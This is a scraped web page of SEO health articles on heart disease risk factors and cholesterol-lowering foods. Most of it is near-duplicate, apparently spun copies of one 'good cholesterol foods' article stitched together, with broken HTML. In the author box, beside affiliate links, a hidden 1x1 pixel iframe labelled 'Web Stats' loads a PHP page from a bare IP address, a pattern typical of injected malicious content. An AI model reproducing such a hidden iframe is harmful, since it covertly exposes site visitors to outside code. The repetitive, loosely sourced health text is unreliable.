div style=’font-style:italic;’ class=’heartbyline’by Zak Hart/div

For a small change in the way you live your life you could reduce the risk of a heart attack many times over. The worst thing about heart disease is that often, by the time the victims realise it’s a threat, they have already been pronounced. Approximately 233,000 people are pronounced due to heart disease each year in the UK – that’s about 1 in every 3 people who die. With odds like that wouldn’t it be good to know how to stack them in your favour.

As inevitably as death and taxes, as each passing year goes by we get older and our risk of heart disease increases. For women the risk gets significantly higher once you pass menopause, for men the risk starts rising at a much earlier age. It therefor stands to reason that, whether you are a man or a woman, you need to be aware of what the risk factors of heart disease are. Getting older is one of them because as you get on a bit the other factors become more relevant. So lets talk a bit about these other factors.

The first and probably biggest risk factor related to heart disease is related to smoking cigarettes. If you smoke at all you are greatly increasing the chances of developing heart problems later in life. For someone who smokes twenty ciggies per day you are twice as likely to develope heart disease than someone who doesn’t smoke. Smoke forty per day and the chances are four times more likely. See a pattern? It doesn’t take a genius to work out that by cutting out the fags you are cutting out a major factor of developing heart problems.

High blood pressure is almost like the silent killer of the heart disease world. You can appear to be and feel very healthy yet still have high blood pressure. Obviously if you are stressed or overweight then the chances of you having high blood pressure increase. However the only way to know you have actually got it is to check it. As you get older BP check become more and more necessary. It doesn’t take much to get a regular check with your doctor, and it could literally be the difference between life and death.

Paid much attention to your diet recently? If you eat an unhealthy diet not only do you risk being over weight, you also risk having high cholesterol levels in your blood. Especially if you’re partial to dairy products such as full cream milk, butter, cheese and eggs. The fact is if you have a particularly high cholesterol level you treble your chances of heart disease. Next time you’re reaching for the full fat milk you might want to go for the skimmed instead.

Are you overweight and do you exercise? If the answer to the first part is yes and the second part no then you need to do something to reverse those answers. And the chances are if you have a cholesterol and a high blood pressure problem then you are overweight. See how the presence of one risk can lead to greater risks! If you incorporate an exercise routine and a healthy diet into your lifestyle you get fitter, you lose weight and the chances of you having high cholesterol or BP decrease. As do your chances of dying of heart disease.

The final major risk factor we want to talk about in this article is stress. Although not an obvious choice, many people believe that stress is an important contributor to heart disease – though this theory is more controversial than other risk factors. The reason stress is a problem is that it can raise blood pressure – again showing how one risk factor can influence another. And have you ever seen a movie where a sudden stress or shock triggers off a heart attack? Well this can happen to someone who already has heart disease, showing that stress is definitely a health risk in that sense.

div class=’heartresource’div style=’font-style:italic;’ class=’heartabout’About the Author:/div

div class=’heartlinks’The message is simple. If you’re a smoker then you will need to a href=http://www.troohealthcare.com/quit-smoking-9/stop smoking/a soon – at worst you’re going to benefit from a good a href=http://www.troohealthcare.com/detox-11/body detox/a./div/div!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats –

We hear them preached everywhere, every time.. Eat good cholesterol foods and reduce your figures. When it comes to cholesterol, we all know that there are “good” ones and “bad” ones, with HDL being the good type and LDL the bad type. The problem is how to stick with the good one and get rid of the bad one? It’s a rather complicated subject, so let’s start..

Cholesterols are essential to human life, but high levels in the bloodstream are associated with heart disease and stroke. Specifically, high levels of LDL and low levels of HDL are dangerous. LDL becomes hardened and forms plaque that builds up in the arteries, slowing blood flow. HDL has the ability to gather up excessive amounts of LDL and carry it back to the liver.

We don’t exactly eat HDL or LDL, it forms in the body. Some of the foods that we eat do contain cholesterol, such as eggs, dairy and animal fat. Plant oils and fats contain a cholesterol-like substance called phytosterols. They help lower blood cholesterol levels. Saturated and trans-fats contribute to high LDL, as do simple carbohydrates, such as sugar and white flour.

So, good cholesterol foods are plant foods, because they contain phytosterols. Omega3 fats, found in fish and canola oil are beneficial as well.

A good diet for keeping LDL levels low would include lots of fruits and vegetables, whole grain foods, such as oatmeal and fish. Eating a bowl of oatmeal every day has been shown to reduce LDL levels.

It’s a healthy decision to use olive or canola oil when you cook or bake, rather than lard or saturated fat. It has been determined that eating certain nuts decrease risk of heart disease. So, eat some of them every day when you can: hazelnuts, walnut, almonds, pecans, pistachios and peanut. An ounce a day is recommended, provided you’re not allergic to them, of course.

What you can also try is to replace your daily dose of coffee and soda with green tea instead. Green tea has been shown to have many health related benefit, lowering LDL level is one of them. If you need sweetener to go with it, stay away from processed sugar. Use honey or raw cane sugar.

Try taking lots of different antioxidants in your daily diet. When cholesterol in your body becomes oxidized, they form hard plaques in the arteries, which are very dangerous. Antioxidants such as green tea, vegetables and fruits help preventing this process from happening.

If you can’t stop eating meat or poultry, choose lean cuts. If you can’t stop milk or other dairy products, choose reduced fat products made with skim or low-fat milk.

Making the switch from bad to good cholesterol foods may be easier than you think. You just need to make the right choices.

Most of the foods that are available today are high in cholesterol. Cholesterol has been a sensitive issue for the past few decades. Understanding the impact of cholesterol in general and high cholesterol in particular is important to maintain our health as well as our quality of life.

What is the actual effect of cholesterol? High levels of cholesterol in the bloodstream cause a number of cardio-vascular diseases including artery blockage, strokes, coronary disease and heart attacks. The kicker is the fatal influence of many modern day lifestyle-related vices: smoking, drinking, hypertension, and obesity. Some unfortunate people have the added burden of a hereditary weakness which makes them naturally prone to any or all of the above diseases.

When we speak of ‘cholesterol’ we are talking about three categories of cholesterol: good cholesterol (HDL), bad cholesterol (LDL) and triglycerides. This means that not all cholesterol is bad. Foods rich in Omega-3 fats like fish are helpful in reducing LDL levels and are advised for patients suffering from cholesterol-caused diseases.

A further twist in this tale is that, more often than not, we wrongly blame specific foods for high levels of bad cholesterol. The cooking method, the medium used for cooking, and the other foods that we consume along with the specific food contribute significantly to aggravated cholesterol levels. As an example, eggs were standard breakfast fare once. Then they were declared ‘Bad!’ because they contained cholesterol. Further research has shown that we should avoid the yolk of the egg and not the white! So now we’re seeing eggs dished up with most of the yolk removed.

So now you are careful about eating eggs. You have restricted to one poached egg. But are you looking at what you’re having along with the egg? Bacon and cheese and sausages, with thick slices of white bread liberally coated with butter! The egg isn’t going to harm you, but those side helpings definitely are! Once again the point is that instead of adopting a policy of exclusion of a specific food, we should have a more holistic approach to the entire meal.

In general you should avoid greasy foods which are fried or deep fried. You take a perfectly healthy, non-cholesterol-aggravating eggplant, then you coat it in batter and deep fry it that’s a perfect recipe for a whole slew of cardio-vascular problems! Yes, there are some foods which are bad for your heart which you must avoid. All animal products like meat, poultry, dairy produce and egg yolks are known contributors to high cholesterol levels in the blood. So go easy on those red meats, for your heart’s sake!

Saturated fats are a deadly ingredient in your diet, making the liver increase production of LDL and triglycerides which leads to artery blockage and strokes.

There is no sense in banning specific food items from your diet. It makes more practical sense to maintain a moderate approach. Have everything, but in moderation. Keep a strict vigil on what you eat and how it is cooked. A fresh potato salad is good but French fries is not! Choose to grill your food rather than fry it. Have plenty of fresh vegetables. These very ordinary precautions will help to keep your heart beating perfectly for many, many years!

We hear them preached everywhere, every time.. Eat good cholesterol foods and reduce your figures. When it comes to cholesterol, we all know that there are “good” ones and “bad” ones, with HDL being the good type and LDL the bad type. The problem is how to stick with the good one and get rid of the bad one? It’s a rather complicated subject, so let’s start..

Cholesterol itself is actually very important to human life. It’s when they are present in high levels in your bloodstream that it becomes a problem. Diseases such as stroke, heart disease and other cardiovascular related diseases are associated with high cholesterol. Specifically, high LDL and low HDL should be avoided. LDL may become hardened and forms plaque in your arteries, therefore slowing blood flow. HDL on the other hand, has the ability to take back excessive LDL back into the liver.

Both LDL and HDL are formed in your body. You don’t actually eat them. Some foods known to contain cholesterol are dairy products, animal fat and eggs. Oils and fats coming from plants contain a substance almost similar to cholesterol, called phytosterols. They help to lower cholesterol level in human blood. Simple carbohydrates such as sugar and white flour, along with saturated fats and trans fats all contributes to high LDL production in your body.

So, good cholesterol foods are plant foods, because they contain phytosterols. Omega3 fats, found in fish and canola oil are beneficial as well.

One good plan to control LDL level is including a lot of vegetables, fruits, whole grain foods (such as oatmeal) and fish into your daily diet. One daily bowl of oatmeal has been shown to reduce LDL levels.

It’s a healthy decision to use olive or canola oil when you cook or bake, rather than lard or saturated fat. It has been determined that eating certain nuts decrease risk of heart disease. So, eat some of them every day when you can: hazelnuts, walnut, almonds, pecans, pistachios and peanut. An ounce a day is recommended, provided you’re not allergic to them, of course.

What you can also try is to replace your daily dose of coffee and soda with green tea instead. Green tea has been shown to have many health related benefit, lowering LDL level is one of them. If you need sweetener to go with it, stay away from processed sugar. Use honey or raw cane sugar.

Try to add many kinds of antioxidants into your daily diet. Oxidized cholesterol is a potential danger, since they can form plaques. Antioxidants, such as green tea, vegetables and fruits can help prevent cholesterol from oxidizing and turning into dangerous plaques.

If you can’t stop eating meat or poultry, choose lean cuts. If you can’t stop milk or other dairy products, choose reduced fat products made with skim or low-fat milk.

All in all, it’s not difficult at all to switch from your regular diet to good cholesterol foods. It’s just a matter of taking the right decision on what you eat.

Ever heard of good cholesterol foods? What are they? We know now that there is “bad cholesterol” (LDL) and “good cholesterol” (HDL). The problem is choosing the good and avoiding the bad in our daily diet. It’s not a simple matter, but let me try to explain it below..

Cholesterols are essential to human life, but high levels in the bloodstream are associated with heart disease and stroke. Specifically, high levels of LDL and low levels of HDL are dangerous. LDL becomes hardened and forms plaque that builds up in the arteries, slowing blood flow. HDL has the ability to gather up excessive amounts of LDL and carry it back to the liver.

HDL and LDL are formed in the body.. We don’t exactly eat them. Some known foods with high cholesterol level are dairy products, animal meat and eggs. Oil produced from plants contain a substance similar to cholesterol called phytosterols. They help us by lowering blood cholesterol levels. All kinds of saturated fat and trans-fats increase LDL, as do simple carbohydrate such as sugar and white flour.

So, good cholesterol foods are plant foods, because they contain phytosterols. Omega3 fats, found in fish and canola oil are beneficial as well.

A good diet for keeping LDL levels low would include lots of fruits and vegetables, whole grain foods, such as oatmeal and fish. Eating a bowl of oatmeal every day has been shown to reduce LDL levels.

It’s a healthy decision to use olive or canola oil when you cook or bake, rather than lard or saturated fat. It has been determined that eating certain nuts decrease risk of heart disease. So, eat some of them every day when you can: hazelnuts, walnut, almonds, pecans, pistachios and peanut. An ounce a day is recommended, provided you’re not allergic to them, of course.

Another thing you can try is replacing your coffee or soda with green tea. Green tea has many benefits related with health, and one of them is its LDL lowering capability. If you can’t stand the original taste of green tea, don’t use processed sugar. Use honey or raw cane sugar instead.

Strive to include lots of different antioxidants in your diet. Cholesterols become a problem when they become oxidized into hard plaques. Antioxidants, such as those found in green tea, fruits and vegetables can help prevent cholesterol from turning into plaque.

If you have to eat meat or poultry, make them lean cuts. When you have to take dairy products, make sure to choose reduced fat products made with skim or low-fat milk.

All in all, it’s not difficult at all to switch from your regular diet to good cholesterol foods. It’s just a matter of taking the right decision on what you eat.